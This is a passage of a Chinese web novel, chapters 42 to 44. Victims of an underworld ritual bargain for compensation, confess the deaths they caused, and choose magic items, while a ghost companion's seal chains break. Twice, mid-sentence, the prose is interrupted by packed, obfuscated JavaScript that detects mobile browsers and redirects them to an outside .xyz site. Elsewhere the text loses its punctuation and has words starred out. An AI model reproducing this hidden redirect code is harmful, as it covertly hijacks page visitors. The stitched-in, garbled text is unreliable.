……我不想死,我不甘,我恨。但我知道该恨谁。 黎烁翻起眼睛,死死盯着欣赏惨剧的二贵。 黎烁忘了自己什么时候咽的气,也不记得林哥什么时候死去的。 他只知道二贵的马仔没有一下子杀了他们。到处都是血,他双眼蒙满血红,疼痛将他的记忆彻底扭曲。 他只记得看这世间的最后一眼—— 夜色愈发昏暗,疼痛逐渐遥远。血泊倒影里,黎烁能看见奶奶那尊陶瓷菩萨。 这么多年了,林哥还没把它拿走啊。 冰冷的血泊中,黎烁没能闭上眼睛。 黎烁不知道的是,他咽气的那一刻,林哥挣扎着动了动手指。他痛苦地看着面前死去的年轻人,一双眼布满血丝。 黎烁的衣服有些乱,像是被翻动过。他看见了黎烁的表情变化,也猜到了黎烁故意逃进里屋,想要藏起什么。 曾经他的朋友为了保护无辜,先一步牺牲。 现在他的朋友为了保护无辜,又先一步死去了。 这应该是他的工作。他本该继承朋友的遗志,他本该让同事和民众远离危险。 或许一切已经无法挽回了,他再也做不了任何事,但是…… 【应该保 护无辜的人。】 黑暗的砖缝中,阴气逐渐弥漫。那阴气越转越快,逐渐化作一场看不见的风暴。气温飞速下降,阴影中的邪祟没来得及反应,原地消失无踪。 沾血的相片上,危险邪祟一只又一只出现。人们的脸却一个又一个消失,只剩下无法辨认的后脑勺。 物件带执念,聚了因果便成“厄”。 牵连万千因果的漩涡之中,照片承载着同一种坚持,又一次变成了遗物。它吞噬了执念,将其机械地转为三条禁忌。 邪祟带命债,禁止离开。 午时三刻到,纳命一条。 ……切记,往来有窥探,不可露脸。 …… 方休睁开眼,他发现自己被白双影搂在怀里,抱得死死的。照片残骸徐徐燃烧,在半空中轻轻飞舞。 火焰舔过那些欢笑的面庞,将其化为灰烬。 ……手上有点重量,是那面照妖镜。 方休连忙扭头去看,三十平左右的废屋内,大家都在。 黎烁和老金也在,老金刚刚咽了气,黎烁则面无表情,一双眼扫过那尊蒙了尘的菩萨像。 他的身边,林哥的幻影已然消失。 最后一点灰烬飘落在他的脚下,如同一个句点。 有点奇怪,方休心想。厄被破坏殆尽,纸人却没有到场,百邪不侵也没开。 黎烁低头看着那点灰烬,笑了一声:“现在你知道怎么回事了。” 方休、白双影:“嗯。” 方休:“?” 白双影整个贴过来,是为了看一看照片的因果? 不过眼下,方休没有心思追问这事,他继续盯着黎烁:“现在你可以说你的执念了。” 黎烁垂下眼,又掏出一支没点燃的烟。没了厄的支撑,他的身影远不如之前凝实。 “我就是不甘心。”他说,“我不甘心,我还没活够,我要看他们遭报应。” “但祭祀杀了那么多人,我渐渐没那么不甘心了。人杀多了,也就那样……” 房内一片静寂。 关鹤等人并不清楚厄的因果,但他们能看懂黎烁脸上的悲哀。 “……后来我只是想,我把照片藏得那么严实,没人知道大哥留了张照片。我想等人发现它,把它带给大哥家里人。” 说到这,黎烁自嘲似的笑了笑。 “算是我最后一点念想,可惜告诉你也没用。不毁掉照片,你们又出不去,这事就无解。” 方休沉默了会儿:“你知道我为什么要跟你提‘二贵’吗?” “为什么?” “因为我知道你和他有仇。当年你们的死成了大新闻,到处都是报道,案件从重从严处理。二贵那伙人被**,关联的上下游全部落网 第 42 章 坦白要求 第42章坦白要求 【**定制。】 想到刚才的事,鬼仙阿守十分气愤。 她正在房间里好好地检查封印,纸人奠二突然鬼哭狼嚎地冲进来拜见,大喊中秋厄被人破了。 阿守愕然。 中秋厄与“半步鬼仙”黎烁相伴而生,因果相连。两者相性好得出奇,黎烁只要吃够生魂攒足力量,便可轻轻松松晋升鬼仙。 若要破坏中秋厄,祭品需要在连日厮杀中看破“中秋厄”的正体,还得尽早发现藏在幕后的黎烁,并且想办法应对。 之前的祭祀里,别说发现黎烁,祭品们连中秋厄的正体都没解出来。 如今黎烁只差一步成仙,阿守想,必定无人能解中秋厄。等这次祭祀结束,她都准备好迎接新生鬼仙了。 ……现在奠二却说,中秋厄被破? 不对不对不对,重点不是这个。 盖头之下,阿守横眉竖眼:“既然‘厄’被破坏,你应当去迎候祭品,找我哭做什么?” 奠二跪在地上欲言又止,半天才小声道:“黎、黎烁想要自行放弃,我便动了地府探测之术,激了他一激……” “……你什么?!”阿守猛然站起。 她身材本就高大,加上一双厚底喜鞋,足足有一米八四左右。她停在纸人面前,身体微微前倾,血盖头摇摇晃晃。 纸人头也不敢抬:“黎烁一定是被迷了心智,哪会有鬼不想成仙……等他反应过来,自然会感谢我等。大人,他就差这么一场祭祀啊,大人……” 阿守怒笑两声:“绝处逢生的战役数不胜数,你可见哪个将军撒泼打滚不认输赢?” “万物皆有定数,输了就是输了——你这样强行干涉因果,有违天道,黎烁就算成了仙,也是个天生残缺的伪仙!” 见鬼仙发怒,纸人吓得全身颤抖:“我我我没成功,那术法被破解了……大人饶命,是我一时迷了心窍……” 纸人奠二的术法被破? 阿守动作顿了顿。 虽说奠二没什么出息,但解厄塔里的鬼差好歹算精挑细选,没那么容易对付。 她思考片刻:“你先去‘万厄祠’思过,明日来我这领罚。中秋厄的祭品,我要亲自去接。” 说罢,她直接从纸人身上踩过,把奠二踩成了薄薄一张。纸人哪敢抱怨,贴在地上半天不敢动。 …… 眼下,阿守终于瞧见了解厄人。 她对“方休”这个名字有印象,解嵬山厄的貌似也是此人。 小伙子一身红衣,脸长得相当不错,就是瘦得像个穷书生,她一把就能把人拎起来。 阿守观察半天,发现方休身 上半点道行也没有,也不见任何法力——此人平常得不能再平常,既不是什么隐藏的玄学大师,也不是天生能通阴阳的异人。 难道纸人术法断掉,是黎烁自行挣脱? 很有可能,黎烁已然算半个鬼仙。可惜如今他彻底消失了,她没得问。 于是她只能向方休解释情况,表达歉意。谁想方休一听“补偿二字,整个人当场一震。 “哪有责任方单方面决定的?来,咱们俩好好谈谈——! 那人类猛然转身,两只眼比阳间灯泡还亮。 阿守:“…… 阿守:“可以。我先迎你们回塔,稍后与你详谈。 纸人奠二监守自盗,这件事本就是地府失职。这个人类市侩归市侩,说得确实占理,她认。 方休想了想:“您先送他们回塔,我们在这谈就好。 此时正值人间清晨。朝阳初升,温暖的阳光从窗户射入,斜斜打在方休脚背上。 阳光浸泡下,陶瓷菩萨的眉眼闪着碎光,仿佛晨曦凝成朝露。 哪怕房间逼仄破旧,脚边还有一坨焦尸,方休还是想多待一会儿。 阿守点点头,五指随意一拢,小屋其余五人瞬间消失,只剩一个方休。 送完人,她顺口问道:“怎么不见你的鬼? 方休下意识看向白双影,阿守也跟着扭头。她发现角落之中,有一个模模糊糊的轮廓——那隐藏法术的程度刚刚好,不会太弱,但也没能强到瞒过她。 就很像那种身体藏进草丛,尾巴还露在外面的小动物。 “我家鬼比较害羞。 阿守:“……你家鬼? 好奇怪的称呼。 方休似乎没听懂重点:“是呀,我的艳鬼。 哦,艳鬼。阿守想起来了。 面前这人八成被迷了心智,才喊得那样亲昵。艳鬼会些幻惑之术也不稀奇,想躲着便躲着吧。 方休则看向白双影的脸。与阿守不同,他能清楚地看见白双影的身形,以及他身侧用于隐藏的扭曲。 白双影眉眼带着厌烦,他好像只是不太喜欢阿守,并没有吓到应激。 倒不如说相反,那双白色眼眸时不时扫过来。白双影似乎想说些什么,又有些犹豫。 方休微微一笑,冲白双影挤了挤眼睛。 接着他转向阿守:“不说我的鬼了,我们来谈谈补偿……您之前想给我们什么补偿? 阿守坦然:“我会开放支援法器库,让各位自选一样护身法器。另外,再多给一日的休息时间。 “您说的‘**’,是指控制黎烁发狂对吧?要不是他及时恢复清醒,我们就全军覆没了,这可是破坏祭祀原则的大事。 方休没说谎,只是隐去了“白双影出手”这件事。几步外,白双影肉眼可见地松弛下来。 真好懂,方休偷笑。 随后他继续道,“地府的护身法器又不难搞到。我上一场拿到了玉佛和叩地鼎,这回又到手两个五帝钱……区区法器补偿,怕是不太够。” 阿守:“???” 不不不,正常人没你这么能抢,而且**和自选是一回事吗? 她还没来得及反驳,方休话锋一转:“你看法器这么容易抢,要是我们选了称心如意的法器,转头就叫人抢走了,那岂不是亏上加亏?” 阿守思索:“我可以给你们特殊绑定,让它们没法被抢。” 方休点点头,嘴里还在嘀咕:“那也就比认主法器好一点嘛。你们用祭品养鬼仙就够过分了,我好好解了厄,还差点被地府坑死,这样的奖励实在敷衍……” “你究竟想要什么?”这人似乎知道得挺多,阿守沉下声音。 方休:“其他人我不确定,但我想要那种超能装而且可以缝到口袋内侧的乾坤袋,不知道您能不能给我来一个。” 说罢他严肃地总结,“可以说是**定制吧。” 阿守:“……” 好详细的要求,好烦的人。 要是让这小子成功过了八场祭祀,鬼知道他能许下什么愿望。 她回忆了下,护身法器库里确实没这玩意儿。但要说方休的要求多过分,似乎也没有…… 方休没有张嘴就要影响祭祀平衡的大杀器,他只是想把随身的东西收纳起来。这做法与其说是防邪祟,不如说防人类多一点。 毕竟这小子解了中秋厄,算是本次事件的最大受害方。阿守沉默几秒,应了。 方休松了口气:“那关于我的第二件法器……” “什么第二件?” 方休:“啊?我解决了厄,却和大家一样领一件法器,于情于理都不公平。作为当事人,我怎么也得多拿一件。” 阿守:“…………” 阿守:“……你说。” 要是这小子敢狮子大开口,她非得教训他一顿。 方休不好意思地抓抓头发:“我也不好总是麻烦您,到时候我和大家一起去护身法器库里挑就行。” 阿守抿抿嘴唇。行,她姑且能忍,算这小子识时务。 “既然谈好了,我带你回去——” 方休:“慢着,我还没说完!” “这才刚谈完法器,还没说‘多给一天’这事呢。” “您看,解厄塔里根本没什么娱乐活动。对于我们人类来说,这样多放一天假和没放差不多,真的不合适。” 阿守:“………………” 阿守:“……你继 续说……” 方休可怜巴巴地抬起视线:“上司姐姐能不能放我们去外面玩啊。” “也不用送我们回归肉身这样玩一天就好。地方就选这座城市行不行?” 阿守警惕:“没别的了?” “没别的了。”方休用力点头。 阿守咬了咬牙:“可以。” 她真的不想再跟这小子掰扯了她总感觉说得越多越吃亏。 再者祭祀本就在阳间举行 祭品的身体都是地府法器跑得了和尚跑不了庙。而且因为举办祭祀附近地界都有鬼差盯着选这个城市也算合适……其实地府无需做太多额外的工作。 狡猾的小子每次要求都刚好卡在她不好拒绝的线上。 “姐你真好。”方休感动道“稍微等我几分钟哈。” 还没等阿守反应方休掰了块老金当炭笔绕着老金的尸体画了个圈:“白双影别忘了打包——” 方休的鬼还真慢腾腾挪了过来。他维持着拙劣的隐藏在她眼皮底下抽出生魂一点点往怀里塞。 阿守彻底无话可说。 这个人类大概是榨汁机转世半点油水都不放过。 他抽出来的鬼也一个德性。她这么大一个鬼仙站在这里那艳鬼竟然能为一口吃的克服恐惧靠近就很拼。 老金生魂被彻底剥离的那一刻她忍无可忍地伸出手把这一人一鬼拎回了解厄塔。 废弃的公寓再次变得空空荡荡。 **发生后混子楼正式宣告报废。市政府给了户主们相应的补偿决定不日将其拆掉。之所以没有立刻动工只是因为中秋厄的影响。 如今整栋楼彻底清静别说活人嚷嚷连声鬼叫都听不到。 咚咚咚咚咚咚咚咚咚。 公寓门口突然响起规律的敲门声。 咚咚咚咚咚咚咚咚咚。 咚咚咚咚咚咚咚咚咚。 染血的房门轻轻震颤又再次静止在空气里。 朝阳的红光打在门板上一切如旧。 …… 解厄塔。 方休满脸轻松地待在院落打算吃个早饭再回房间。 他的心情好得不得了—— 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705273|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次纯赚了两个五帝钱地府又许了他两件新法器。另外这次的异象技能还没安排呢。 就有一种升级完了等着领礼包的爽快感。 现在才是上午“一整天休息”要从明天开始算加上说好的多一天假。这一次约等于放三天假! 最最最重要的是他们不用再憋在这个阴森森的院子里可以去人间玩一趟了! 早餐丰盛无比纸人不知道去了哪里气氛松弛得很。方 休哼着小调往碗里夹包子,身子跟着摇摇摆摆。 白双影一边制作老金月饼,一边沉声问:“你怎么知道帮我隐瞒?” 他的语气里透出一丝淡淡的高傲,以及“方休终于发现了什么”的满足。 方休有点诧异地看了他一眼:“你是地府的鬼,出手阻止了地府某人的暗箱操作。将来祭祀结束我走了,你被人穿小鞋怎么办?” 说着他往嘴里塞了个包子,“难道你不是因为这事才着急?” 白双影缓缓垂下眼。 不知道为什么,方休觉得他的鬼有点萎靡。 方休连忙:“我知道我一开始误会你了,其实你的辅助术法特厉害。这次真的多亏了你,不然我肯定要死在那里。” 白双影:“……” 白双影转过身,沉默地啃老金月饼。 罢了罢了,他自己也在鬼仙面前装弱来着。 还是解封更重要,中秋厄展示的那些因果,眼下他还没吃透。 ……说到中秋,老金月饼真的好吃。 黎烁不知道使了什么手段,老金的生魂快被他折磨碎了。老金月饼滋味丰富又细腻,味道混合得无比平衡,吃起来别有风味。 白双影决定把注意力集中到味觉上,先无视烦鬼的人类们。 此时此刻,方休可能是院子里情绪最高昂的人。 成松云、关鹤和梅岚知道中秋厄的来龙去脉,眼下兴致都不高。倒是贾旭和黄毛刚刚解放,看着还算放松。 黄毛只当又搭了一趟顺风车,埋头苦吃。贾旭多了点心眼,他紧挨梅岚坐着,细细询问事情始末。 “我还当什么事儿呢,原来是照片啊。”他总结道,“这事不难猜,可惜我被老金抓住了,没来得及拿到死忌情报。” 梅岚不理他。 贾旭余光瞟着方休,提高声音:“祭祀搞定了,大家应该开心点。方休,我听那个女鬼说要补偿大家,有什么补偿啊?” 方休照实说了,包含他自己那个额外的乾坤袋。这玩意儿没必要隐瞒,反正大家早早晚晚都会知道。 贾旭听得直摇头:“你说你何必在‘回人间玩一趟’上面加码呢,让她多给点法器不好吗?我跟你讲——” 关鹤用力放下粥碗,发出嘭的一声:“你根本什么都没干,能不能闭嘴?” 贾旭停下两秒,笑了一声:“年轻人就是气性大。” “我听说祭祀的事了,缉毒警牺牲是吧?你第一次经历这种事,不好受也正常。” 他意味深长地顿了顿,“警察算是纳税人真金白银养着的,拿钱干活而已,不想做完全可以不做。” “你看人家方休多平静。等你长大了就知道,老金那种人能混那么久 ,他在警局内部肯定有人。别把事情想得太简单,有些警察干这行是为了赚……” 他话还没说完,关鹤直接把粥碗摔了过去。关鹤扔得不太准,碗摔碎在两张八仙桌之间,热腾腾的米粥洒了一地。 方休本以为成松云会拦住关鹤,结果成松云只是拧着眉毛,嘴唇抿成一条缝。 贾旭面色有点僵:“方休你说说他。” 方休咬着包子:“他又不是我儿子,我管不着。” “我只是告诉他一些事实。他承受力这么差,以后会拖大家后腿。”贾旭一副无奈的模样。 方休:“‘你早晚得死’也是事实,需要我每天给你说一遍吗?” 黄毛没心没肺地笑出声,差点被豆浆呛到。 贾旭:“……” 贾旭:“……没必要针对我啊,我刚才说你不该那么要奖励,只是客观分析。” 方休笑了。 他没再理会贾旭,只是转向还在急促呼吸的关鹤:“小关,你知道为什么照片里只有林哥露着脸吗?” 关鹤的注意力立刻被勾走了:“为什么?” “因为他留下执念的时候,想着保护活着的人,想着保护牺牲同事的亲人,唯独没想过保护自己——他知道自己孤身一人,**就全结束了。” 关鹤:“……嗯。” “其实我也一样,**就全结束了。” 方休笑嘻嘻地说道,“不过人家林哥叫孤胆英雄,我这种人叫亡命徒。” 关鹤、贾旭:“……” 院子里安静了。 方休还在笑:“不过既然话都说到了这个份儿上,我来起个头吧。” “中秋厄这么一折腾,我想大家都知道了地府选祭品的标准。在场各位包括我自己,都背着人命债呢——话说咱们都是过命的交情了,憋在心里猜来猜去没啥意思。” “今天正好有时间,咱们不如来个坦白局,说说自个儿害死过什么人?” 第 43 章 八条锁链 第43章八条锁链 【一口糯米糍。】 一石激起千层浪,小院氛围骤然绷紧。 “队友是天南海北的倒霉蛋,和“队友是隐藏面目的**犯,那感觉可是天差地别。 这次,连多嘴多舌的贾旭都没有反驳—— 中秋厄“用禁忌清理恶人的事实摆在眼前,这一路碰见的小组又都很拟人。这种时候还要跳出来否认,反而显得心虚。 方休把玩着自家鬼的袖子,神态自若:“我九岁的时候,不小心把一个人撞下悬崖,还活活气**我奶奶,这样算背了两条命吧。 “小关先前坦白过他的命债——他带着弟弟闯红灯,导致弟弟车祸去世。 听到这种“害死也算数,院子里的气氛稍稍变了些许。贾旭明显松弛下来,黄毛啧了两声,梅岚则深深埋下了头。 透过稍长的刘海,方休专注地扫视院落。 片刻寂静后,成松云慢慢吸了口气:“行,我也说吧。 “我受不了我老伴,想给他个教训。我想办法让他摔下了楼梯,结果他直接摔**。 她的视线落在桌沿,声带因为痛苦绷紧。 方休看得出来,成松云对此仍怀有负罪感。 下一个开口的是梅岚,她的眼眶有点红:“我乱动家里的车,弄坏了刹车,害得爸妈一起出了事。 说罢她又低下头去,双手用力绞着。 黄毛咽下嘴里的油条,态度活像凑热闹:“我嘛,我以前在村里打群架,把人打**。 方休好奇:“警察没抓你? “当时我们就十一二岁,再说动手的人多,谁也不晓得是我打的。最后各家凑了点钱,这事就算结啦。黄毛无所谓道。 众人无语了好一会儿,视线集中到贾旭身上。 作为最后一个坦白的人,贾旭环视一周,表情颇为遗憾:“我前女友因为我**了,地府估计把账算在了我头上。 梅岚皱皱眉:“什么叫‘因为你**’? “千万别误会,我可没把她怎么样。 贾旭连忙举起双手,“我就跟她正常分手,她死活不接受。她本来就有抑郁症,我这算无妄之灾好吧。 方休不吭声,只是弯着眼睛瞧贾旭。贾旭被他笑得发毛,勉为其难地补了句:“行吧,当时我确实说了点重话。 “但我没办法,你们不知道她跟我要了多少钱,我也很辛苦。 黄毛:“懂了,傍的富哥要跑,一哭二闹三上吊呗。 贾旭没否认,只是换了话题:“怪不得咱们分在同一组,看来大家都是‘意外致死’那一类。 方休玩 袖子的动作一顿:“有道理。” ……才怪呢方休心想。 先不说别人方休自己的罪行就不是“意外致死”。 他自己没说实话其他人也未必说了实话。一圈看下来方休心里大概有数。除了关鹤和成松云其他三人多多少少都有隐瞒。 这次点到为止就好来日方长。 方休站起身:“我要回去好好睡一觉天塌了也别找我。” 白双影还以为方休只是推脱没想到这小子回去冲了个澡接着就在床上睡了个昏天黑地——方休跳过了午饭晚饭太阳下山还没醒大有一觉睡到第二天的气势。 就算之前的祭祀透支精力你小子也太能睡了! 白双影跟着在天花板上躺尸他对此人的脆弱有了全新的认知。 不得不说 他躺得歪歪斜斜被子半缠在腿上。宽大的红T蹭起边沿露出布满刀伤的小腹。 那人乱糟糟的刘海散开露出的脸庞相当无辜。白双影看了会儿忍不住又想起封印的事—— 上回封印动摇之时方休无比渴望朋友的陪伴自己则碰触了方休的头颅。 最近几天他一直以朋友的身份陪着方休也搓了方休脑袋无数次封印却一直毫无动静。 他想碰触大抵是没问题的问题可能出现在“朋友”上。 白双影从未有过朋友**哪里出了错。于是在中秋厄被破解时他特地凑过去看了两眼—— 中秋厄正好与“朋友”这个概念相关他肯定能学到点什么。 这一看不要紧白双影反而更迷惑了。 黎烁和林哥不存在多少共同点他们没有天天黏在一起也没有动辄书信相通。只是中秋夜吃个饭而已那两人还不如他和方休亲密。 ……难道真朋友得一起死? 白双影确实听到过“但求同年同月同日死”的说法。但他不觉得方休想拉他共赴黄泉每次遇见点什么事方休冲得比他快多了。 ……还是说封印松动另有原因? 白双影从没见过这么麻烦的情况他死盯方休的脸恨不得把答案从此人血肉里挤出来。 可惜他心里明白作为完完全全的玄学菜鸟方休只会比他更迷茫。 白双影的注视下方休在睡梦中咂咂嘴:“羊肉串……烤冷面……白双影你也尝尝……” 白双影:“……” 他突然冒出个诡异的念头。 黎烁和林哥总是在中秋节聚餐。方休总喜欢给他弄吃的他该不会也想“和朋友一起吃饭”? 这个面对鬼仙也要薅把油水的人所求真的这么单纯 ? 咔。 无形锁链应声而断。这一次锁链断了足足八条。 白双影:“???” 八条锁链?八条锁链——! 震惊之下白双影差点从天花板上掉下来。 他飞快扯起衣襟来回数了一遍又一遍没错整整八条。 看来之前是他误会了解封的关键并不在于“在方休面前扮演朋友”或者“方休认可他这个朋友”。 毕竟这次他都没碰方休方休本人甚至呼呼大睡对外界变化一无所知。 但触动封印的究竟是什么白双影仍然难以确定——也许有祭祀解厄的影响也许与星宿挪移有关。目前信息不足可能性实在太多。 他只知道解封的关键确实在方休身上。 本着趁热尝试的心理白双影轻飘飘落下天花板伸手去扒方休的头。然而他轻轻重重摸了好几把锁链并没有断掉更多。 更糟的是他的袖子被方休一把薅住抱在了怀里:“凉皮……” 白双影:“……” 白双影扯扯袖子拽不动。 接着白双影做了个无比错误的决定——他恢复本体试图流淌出来。结果他还没来得及抽身方休便察觉到手感变化整个人抱了上来。 这一次白双影正儿八经成了抱枕被方休四肢牢牢箍住。 此人甚至还神志不清地咬了他的本体一口牙尖轻轻磨着似乎对口感颇为满意。 白双影:“…………” 你小子不是觉轻吗?有那么一瞬白双影又想直接变回人形。 不对想想那断掉的八条锁链。 先保持现状比较好不能下重手不要思考此人的大不敬……就当是解除封印的回报好了白双影心里叹了口气不再动弹。 床铺很绵软 …… 方休睡得十分过瘾。 他睡前满脑子都是出去逛街甚至在心里列好了想吃的食物名单。日有所思夜有所梦他一闭眼就梦见了美食街。 方休在梦里吃得幸福极了。 他最爱街上的糯米糍它冰凉软糯口感十分奇妙。就是他怎么咬都咬不断啃得下巴有点发酸。 方休在朦胧中翻了个身扯了扯身上的被子。 唔地府是不是给他的床品升了级?被子轻得像鹅绒触感水一般丝滑摸起来如同白双影的本体…… 方休:“……” 等等这手感会不会有点太像了他略带忐忑地睁开眼。 果然他身上的根本不是被子而是瘫成一摊的某只厉鬼。 白双影维持本体放弃似的平铺开来。扭曲流动的色块中那一点血痣格外醒 目。 见方休睁眼,那颗痣缓缓挪近,沉默仿佛包含千言万语。 方休缓缓吐出嘴里的“被子”,被迫知晓了糯米糍的原料。 白双影那块本体都被他含热了…… 所幸白双影没有立刻变成人类。他缓缓顺着墙壁流淌,黏回天花板,随即才化作人形。 他的袖子一角皱巴巴的,还有些湿润。 方休有点脸红:“……” 白双影:“……” 方休搓了搓脸颊,假装无事发生:“早上好。” 白双影:“……嗯。” 白双影看起来没有追究的意思,真是太好了。 话说回来,白双影一直黏在天花板上,他又够不着。肯定是他的鬼靠近在先,他们责任一半一半! 想到这里,方休又理直气壮起来。他蹦下床,习惯性盘点战利品。 玉佛没有消耗;饭卡完好无损;小令牌和照妖镜用途不太大,可以充饭卡。 眼镜的五帝钱被白双影改造成长命锁,送给了关鹤。老金的则被方休破坏了。如今方休手里拿的,是原本属于大顺和麻子的五帝钱。 方休满脸期待地看向金牌辅助白同志。 白双影毫无波澜地解说:“五帝钱认主,但你既然将它带回了塔,可以叫那纸人给你清理一番。” “这东西只能迷惑实力不强的邪祟,使役邪祟的能力有限,用来防身最有效。” 方休晃了晃五帝钱:“看来我不太需要这东西。” 不如把它们送给成松云和关鹤,至少那两人在坦白罪行的方面相当诚实。 白双影微微皱眉:“拿着总有好处,为什么不要?” 方休:“我这不是有你嘛,你的隐蔽那么厉害。” 白双影不皱眉了:“……这东西确实用处不大。” 方休憋不住笑了两声,拿出最后的战利品——一个沾满血迹的小哨子,以及一张堪比诅咒道具的拍立得照片。 一个是白双影第一次送他的礼物,一个是他们第一次逛街的留念。 其实召唤邪祟糊弄老金的时候,方休本可以消耗哨子和小令牌。但一想到是哨子是白双影主动送的,方休又舍不得用了。 最终,方休用哨子斜斜支起照片,放在了房间门口的供桌上。 照片紧挨着那朵庙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705274|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会纸花。 他睡着的时候,纸花花瓶已经从汽水瓶换成了他们一起挑的白瓷瓶,看着瞬间上了几个档次。 方休仔细调了调照片角度,尽管这照片细看挺吓人,粗略一瞧还是蛮温馨的。 真好,方休心想。 白双影凑近看了会儿,跟着摆弄几下纸花,让那朵花微微偏向照片。 这样看起来更顺眼些,白双影心想。 …… 今天纸人没来敲门。早餐时分,方休主动带着白双影出了门。 一出门,他们就瞧见了院子中间的纸人。那纸人全身皱褶,脸上的油彩被眼泪冲花,看着一阵风就能吹坏。 刚望见方休,纸人就哆哆嗦嗦作了个揖。 “咱对不住你。是咱在中秋祭祀动了手脚,抱歉,抱歉。 这家伙态度还挺端正,想必被上司姐姐狠狠修理了一番。 方休思考几秒,面露笑容:“你的上司跟我们谈好了补偿,你也受了罚。既然你道了歉,这事就算过了。 纸人点头如捣蒜:“我奠二看走了眼,您是真的心善呐! 它原以为凭方休的狡猾,少不了给它脸色。谁能想到,方休居然还挺大气。 只要方休愿意谅解,阿守大人想必不会继续惩罚它……想到凌晨的揉纸团踢球之刑,纸人又想哭了。 方休春风满面:“没必要这么客气啦。说起来,今天该给我发奖励吧? 纸人连忙正色,飞上香炉道:“中秋之厄已除,除厄者另有奖励—— “厄为方休所除,重重有赏—— 说罢,它压根没管其他人的反应,又飞回方休面前:“您要选哪个异象?若是拿不定主意,我可以一一说明…… “我要黎烁的点火。方休说。 有了嵬山厄的意外,纸人这回倒还算平静:“这……您要三思啊。 “那黎烁与中秋厄因果相缠,才能熟练控制火焰。您要是拿了这一手,最多只能照明点火,没法用来对付邪祟。 这回关鹤学乖了,不吭声。 黄毛又忍不住了:“就是就是,你想点火买个打火机不就行啦。 昨天刚吃了亏,贾旭不太想直接杠方休。他冲梅岚说:“我觉得不管是‘囚禁邪祟’还是‘自相残杀’,都比‘点火’的实用性强。 梅岚文文静静地侧过头,端着碗挪远了点。 “能照明点火就够了,我觉得这一手很酷。 方休很认真地说道。 这回纸人没叫他等,显然提前做好了充足的预案。 它的手指再次点上方休的左臂,留下一个殷红的离卦符号。与上次的“坎卦类似,它几秒后便渗入了方休的皮肤。 赠予技能后,纸人详细解释:“中秋之厄属火。您只需在心中想象火焰的模样,便能使用鬼焰。这火焰可以凭空燃烧,遇水不灭……但要小心,要是您挨得太近,还是会烫伤。 “还有,这能力和之前的技能一样,只能在祭祀全部完成前使用。 方休微微张开右手,想象中秋焰火。 下一刻,他的掌心冒出一个小火团。它模仿着烟花的模 样,在半空中轻轻炸开,洒下无数赤红碎光。 “和我想的差不多,真的很酷。”方休满意地垂下手。 纸人苦着脸赔笑:“您开心就好。” “对了,您的乾坤袋已在制作。下次祭祀开始前,咱会把它交给您。”纸人又补充道。 见一切安排周到,方休没什么意见。 纸人这才移回香炉,例行公事地咋呼:“恭喜各位,贺喜各位!第二场祭祀至此结束,诸位可以尽情休息!” “早餐过后,咱会敞开宝物库的门,各位可去挑选一样称心法器。这法器将与各位完全绑定,绝不会被外人抢走!” 听到法器,大家的情绪好了不少。方休坐到饭桌边,心满意足地吃早餐。 贾旭添了碗虾仁馄饨,偷偷瞄了会儿方休。他发现方休没什么针对他的意思,像是忘了昨天的不愉快。 方休的确是个识时务的聪明人,知道队伍最好不要产生裂痕。但方休越发懒得隐藏锋芒,似乎不愿再让他当领袖了。 这可不行。 贾旭深知领袖地位的重要性。一旦被边缘化,他只能去跑腿。而一旦开始跑腿,他就必须直面第一线的危险。 他拼搏那么多年,刚好撞上风口,好不容易得到了如今的社会地位。要是因为女人栽在这,那他这一生岂不成了笑话? 不过,他前两次祭祀都没使出全力,却有惊无险地通过了,甚至还拿到了地府补偿。 幸运女神果然站在他身边,贾旭心想。 这两次祭祀是他没发挥好。下一场祭祀,他必定拿出真本事,稳固领袖的位置。 另一张桌子边。 “你在想什么?” 白双影刚断了八条锁链,对方休又多了几分好奇。 “我在想中秋刚过,正适合做一件事——”方休满嘴烙饼,声音有点模糊。 “这个季节最适合剪枝了。有些枝条长得太歪,会影响植株生长的。” 第 44 章 阳光之下 第44章阳光之下 【第一次约会。】 众人吃完早餐,纸人往院子中央的香炉里插了一炷血红粗香。 香柱散发出强烈的木制香气熏得人有些发晕。它燃出一股股青烟 纸人丧气十足地挥挥手,门扉洞开,露出内里的库房。 说是库房其实它更像老建筑里的博物馆。 库房没有窗户,只有朱红的四壁。墙壁上装着整整齐齐的鎏金铜灯每隔几步又设了落地铜灯整个空间暖光摇曳。 各种法器放在单独的石台上,石台一排排一列列向远方延伸。法器旁边附有毛笔写就的说明可以看得很清楚。 方休粗略扫了一眼。地府还挺鸡贼,这里的法器只有功能介绍,没有评级。 “哎哟,这个好。”黄毛第一眼相中了一幅仕女图。 画中女子媚眼如丝勾魂摄魄。看旁边的介绍这玩意儿和风月宝鉴差不多,能给人一个虚幻却完美的温柔乡。 方休只觉得这东西废纸一张,画中女子还没有他的鬼长得好看。 黄毛转向纸人:“你说宝贝和我们绝对绑定,那我们活过祭祀,东西可以带走不?” 纸人无语:“咱说了完全绑定,自然可以带走。” “但也因为完全绑定,法器只有你能用无法给予他人。等你**,地府自会派人收回。” 黄毛啧了声,取下那张仕女图:“那我就要这个。” 画中女子旋了个身笑靥如花。 其余人:“……?” 不是这东西肉眼可见没啥用啊。 黄毛猥琐一笑:“嗨,要是选武器防具回家就不好用了还不如选能用一辈子的。货真价实的女妖精啊过了这村没这店。” 